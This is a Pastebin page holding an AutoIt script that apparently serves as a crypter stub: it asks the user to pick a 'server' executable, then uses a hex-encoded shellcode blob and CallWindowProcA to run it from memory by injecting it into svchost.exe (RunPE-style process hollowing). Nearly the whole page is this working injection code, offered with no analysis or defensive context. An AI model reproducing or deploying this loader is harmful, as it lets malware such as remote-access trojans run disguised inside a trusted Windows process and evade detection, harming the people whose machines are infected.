Advertisement
Guest User

Untitled

a guest
Dec 11th, 2015
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 7.18 KB | None | 0 0
  1. Local $sBinary = FileOpenDialog("Elija tu Servidor para Ejecutar en la Memoria", "", "Archivos exe (*.exe)")
  2.  
  3. Call ( RunExeFromMemory(Fileread($sBinary)))
  4.  
  5.  
  6.  
  7.  
  8.  
  9. Func RunExeFromMemory($Binary)
  10.  
  11.     Global $Memory ,  $FileBuffer
  12.  
  13.     $Memory = DllStructCreate("Boolean[" & sReadBytes(sShellCode()) & "]")
  14.     $FileBuffer = DllStructCreate("Boolean[" & sReadBytes($Binary) & "]")
  15.     DllStructSetData($Memory, 1, sShellRead(sShellCode()))
  16.     DllStructSetData($FileBuffer, 1, $Binary)
  17.  
  18.     Call ( CWPA( sStructBuffer(), sInjectMyApp(), sStructBin(), False, False ))
  19.  
  20. EndFunc
  21.  
  22.  
  23.  
  24.  
  25. Func sStructBuffer()
  26.  
  27.     Local $Ret = DllStructGetPtr($Memory)
  28.     Return $Ret
  29.  
  30. EndFunc
  31.  
  32.  
  33.  
  34.  
  35. Func sStructBin()
  36.  
  37.     Local $Ret2 = DllStructGetPtr($FileBuffer)
  38.     Return $Ret2
  39.  
  40. EndFunc
  41.  
  42.  
  43.  
  44.  
  45.  
  46. Func CWPA($lpPrevWndFunc, $hWnd, $Msg, $wParam, $lParam)
  47.  
  48.     Local $Return
  49.     $Return = DllCall("User32", "none", "CallWindowProcA", "ptr", $lpPrevWndFunc, "wstr", $hWnd, "ptr", $Msg, "int", $wParam, "int", $lParam)
  50.  
  51. EndFunc
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58. Func sInjectMyApp()
  59.  
  60.     Local $sInject = @SystemDir & "\svchost.exe"
  61.     Return $sInject
  62.  
  63. EndFunc
  64.  
  65.  
  66.  
  67.  
  68.  
  69. Func sShellCode ()
  70.  
  71.    Local $Buffer
  72.          $Buffer = "0x" & "30783630453834453030303030303642303036353030373230303645303036353030364330303333​30303332303030303030364530303734303036343030364" & _
  73.     "33030364330303030303030303030303030303030303030303030303030303030303030303030303​030303030303030303030303030303030303030303030303030303030303030303030" & _
  74.     "30303030303030303030303030303030303030303030303030303030303030303542384246433641​343245384242303330303030384235343234323838393131384235343234324336413" & _
  75.     "34545384141303330303030383931313641344145384131303330303030383933393641314536413​343453839443033303030303641323236384634303030303030453839313033303030" & _
  76.     "30364132363641323445383838303330303030364132413641343045383746303330303030364132​453641304345383736303330303030364133323638433830303030303045383641303" & _
  77.     "33030303036413241453835433033303030303842303943373031343430303030303036413132453​834443033303030303638354245383134434635314538373930333030303036413345" & _
  78.     "45383342303330303030384244313641314545383332303330303030364134304646333246463331​464644303641313245383233303330303030363835424538313443463531453834463" & _
  79.     "03330303030364131454538313130333030303038423039384235313343364133454538303530333​030303038423339303346413641323245384641303230303030384230393638463830" & _
  80.     "30303030303537353146464430364130304538453830323030303036383838464542333136353145​383134303330303030364132454538443630323030303038423339364132414538434" & _
  81.     "43032303030303842313136413432453843343032303030303537353236413030364130303641303​436413030364130303641303036413030464633314646443036413132453841393032" & _
  82.     "30303030363844303337313046323531453844353032303030303641323245383937303230303030​384231313641324545383845303230303030384230394646373233344646333146464" & _
  83.     "43036413030453837453032303030303638394339353141364535314538414130323030303036413​232453836433032303030303842313138423339364132454538363130323030303038" & _
  84.     "42303936413430363830303330303030304646373235304646373733344646333146464430364133​364538343730323030303038424431364132324538334530323030303038423339364" & _
  85.     "13345453833353032303030303842333136413232453832433032303030303842303136413245453​832333032303030303842303935324646373735343536464637303334464633313641" & _
  86.     "30304538313030323030303036384131364133444438353145383343303230303030383343343043​464644303641313245384639303130303030363835424538313443463531453832353" & _
  87.     "03230303030364132324538453730313030303038423131383343323036364133414538444230313​030303036413032353235314646443036413336453843453031303030304337303130" & _
  88.     "30303030303030423832383030303030303641333645384243303130303030463732313641314545​384233303130303030384231313842353233433831433246383030303030303033443" & _
  89.     "03641334545383946303130303030303331313641323645383936303130303030364132383532464​633313641313245383841303130303030363835424538313443463531453842363031" & _
  90.     "30303030383343343043464644303641323645383733303130303030384233393842303938423731​313436413345453836353031303030303033333136413236453835433031303030303" & _
  91.     "84230393842353130433641323245383530303130303030384230393033353133343641343645383​434303130303030384243313641324545383342303130303030384230393530464637" & _
  92.     "37313035363532464633313641303045383241303130303030363841313641334444383531453835​363031303030303833433430434646443036413336453831333031303030303842313" & _
  93.     "13833433230313839313136413341453830353031303030303842303933424341304638353333464​646464646364133324538463430303030303038423039433730313037303030313030" & _
  94.     "36413030453845353030303030303638443243374137363835314538313130313030303036413332​453844333030303030303842313136413245453843413030303030303842303935324" & _
  95.     "64637313034464644303641323245384242303030303030384233393833433733343641333245384​146303030303030384233313842423641343030303030303833433630383641324545" & _
  96.     "38394430303030303038423131364134364538393430303030303035313641303435373536464633​323641303045383836303030303030363841313641334444383531453842323030303" & _
  97.     "03030383343343043464644303641323245383646303030303030384230393842353132383033353​133343641333245383630303030303030384230393831433142303030303030303839" & _
  98.     "31313641303045383446303030303030363844334337413745383531453837423030303030303641​333245383344303030303030384244313641324545383334303030303030384230394" & _
  99.     "64633324646373130344646443036413030453832343030303030303638383833463441394535314​538353030303030303036413245453831323030303030303842303946463731303446" & _
  100.     "46443036413441453830343030303030303842323136314333384243423033344332343034433336​413030453846324646464646463638353443414146393135314538314530303030303" & _
  101.     "03641343036383030313030303030464637343234313836413030464644304646373432343134453​843464646464646463839303138334334313043334538323230303030303036384134" & _
  102.     "34453045454335304538344230303030303038334334303846463734323430344646443046463734​323430383530453833383030303030303833433430384333353535323531353335363" & _
  103.     "53733334330363438423730333038423736304338423736314338423645303838423745323038423​336333834373138373546333830334636423734303738303346344237343032454245" & _
  104.     "37384243353546354535423539354135444333353535323531353335363537384236433234314338​354544373434333842343533433842353432383738303344353842344131383842354" & _
  105.     "13230303344444533333034393842333438423033463533334646333343304643414338344330373​430374331434630443033463845424634334237433234323037354531384235413234" & _
  106.     "30334444363638423043344238423541314330334444384230343842303343353546354535423539​35413544433343333030303030303030"
  107.  
  108.     Return $Buffer
  109.  
  110. EndFunc
  111.  
  112.  
  113.  
  114.  
  115. Func sShellRead($sData)
  116.  
  117.     Local $sValue
  118.  
  119.     For $i = 1 To sReadBytes($sData)
  120.         $sValue &= Chr(sValue(BinaryMid($sData , $i , 1)))
  121.     Next
  122.  
  123.     Return $sValue
  124.  
  125. EndFunc
  126.  
  127.  
  128.  
  129.  
  130.  
  131. Func sReadBytes($Data)
  132.  
  133.     Local $Value = BinaryLen($Data)
  134.     Return $Value
  135.  
  136. EndFunc
  137.  
  138.  
  139.  
  140.  
  141.  
  142. Func sValue($Value)
  143.  
  144.     Local $Result = Execute($Value)
  145.     Return Number($Result)
  146.  
  147. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement